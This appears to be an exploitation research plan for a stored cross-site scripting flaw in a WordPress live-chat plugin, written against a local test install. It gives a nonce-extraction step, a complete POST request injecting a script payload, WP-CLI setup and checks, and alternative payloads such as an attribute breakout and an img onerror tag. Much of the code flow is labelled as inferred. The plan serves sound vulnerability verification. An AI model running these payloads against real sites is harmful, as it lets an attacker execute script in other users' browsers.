Exploitation Research Plan: CVE-2026-12041 (Chatra Live Chat Stored XSS)

1. Vulnerability Summary

The Chatra Live Chat + ChatBot + Cart Saver plugin (versions <= 1.0.12) is vulnerable to Stored Cross-Site Scripting (XSS) via the chatra-code setting. The plugin allows administrators to input their Chatra widget code into a settings field. This input is saved to the WordPress options table without sufficient sanitization and is subsequently rendered on the frontend (and potentially the admin dashboard) without proper escaping.

In default single-site WordPress installations, Administrators possess the unfiltered_html capability, making this "behavioral." However, in Multi-site environments or sites where DISALLOW_UNFILTERED_HTML is defined as true, this becomes a privilege escalation/security bypass vulnerability, as an Administrator can execute arbitrary JavaScript in the context of other users (including Super Admins).

2. Attack Vector Analysis

• Target Endpoint: wp-admin/options.php (standard Settings API) or a custom admin handler (e.g., wp-admin/admin.php?page=chatra).
• Vulnerable Parameter: chatra_options[chatra_code] (inferred) or chatra-code.
• Authentication: Authenticated, Administrator+ permissions.
• Preconditions:
  • Plugin version <= 1.0.12.
  • unfiltered_html capability disabled (e.g., via define('DISALLOW_UNFILTERED_HTML', true); in wp-config.php or a Multi-site setup).

3. Code Flow (Inferred)

1. Registration: The plugin registers a settings page using add_menu_page or add_options_page (likely in a class or function hooked to admin_menu).
2. Saving: Settings are registered via register_setting('chatra_options_group', 'chatra_options'). The sanitize_callback is either missing or insufficiently restrictive (e.g., using sanitize_text_field which might be bypassed or not used at all to allow the intended <script> tags from Chatra).
3. Persistence: The payload is stored in the wp_options table under the key chatra_options.
4. Output: A function hooked to wp_footer or wp_head (e.g., add_action('wp_footer', 'chatra_output_script')) retrieves the option using get_option('chatra_options') and outputs the chatra_code value directly using echo, failing to use esc_js() or wp_kses().

4. Nonce Acquisition Strategy

The plugin likely uses the WordPress Settings API. To exploit this, a valid nonce for the settings group is required.

1. Identify Settings Page: Locate the Chatra settings menu (usually wp-admin/options-general.php?page=chatra or wp-admin/admin.php?page=chatra).
2. Navigate and Extract:
   • Use browser_navigate to the Chatra settings page.
   • Use browser_eval to extract the _wpnonce field value from the form.
   • Variable Name: document.querySelector('input[name="_wpnonce"]').value
   • Referer: The settings page URL must be used as the Referer header in the subsequent POST.

5. Exploitation Strategy

Step 1: Prepare Environment

Ensure unfiltered_html is disabled to confirm the vulnerability exists for restricted administrators.
wp config set DISALLOW_UNFILTERED_HTML true --raw

Step 2: Extract Nonce

1. Log in as Administrator.
2. Navigate to the Chatra settings page.
3. Extract the nonce for the chatra_options-options group (or similar).

Step 3: Inject Payload

Send a POST request to wp-admin/options.php.

Request Details:

• URL: http://localhost:8080/wp-admin/options.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Admin Cookies]
• Body Parameters:
  • option_page: chatra_options_group (verify via browser_eval of the option_page hidden input)
  • action: update
  • _wpnonce: [EXTRACTED_NONCE]
  • chatra_options[chatra_code]: <script>alert(document.domain);/*</script> (The /* helps neutralize any following plugin-inserted JS).

Step 4: Verification

Visit the site homepage as any user. The alert should trigger.

6. Test Data Setup

1. Plugin Installation: Install and activate chatra-live-chat version 1.0.12.
2. User Creation: Create an Administrator user (e.g., admin_attacker).
3. Hardening: Add define('DISALLOW_UNFILTERED_HTML', true); to wp-config.php.
4. Target Page: No specific shortcode is needed if the plugin hooks to wp_footer globally. If it requires a specific page, create a page with the Chatra shortcode (if applicable): [chatra].

7. Expected Results

• Injection: The options.php request returns a 302 Redirect back to the settings page with settings-updated=true.
• Execution: Upon loading any frontend page, the browser executes the injected <script> tag.
• Storage: The database shows the raw payload in the chatra_options option.

8. Verification Steps (WP-CLI)

Confirm the payload is stored in the database:

wp option get chatra_options --format=json

Check if the output contains the unescaped payload:

wp option get chatra_options | grep "<script>alert"

9. Alternative Approaches

• Attribute Injection: If the input is placed inside an attribute (e.g., <div data-code="[PAYLOAD]">), use a breakout payload: "><script>alert(1)</script>.
• Admin-Ajax Path: Check if the plugin uses a custom AJAX handler for saving settings (wp_ajax_chatra_save_settings). If so, audit class-chatra-admin.php for check_ajax_referer and current_user_can('manage_options').
• Bypass sanitize_text_field: If sanitize_text_field is used, try payloads using <img> with onerror or other tags that might survive minimal sanitization if the developer used wp_kses improperly.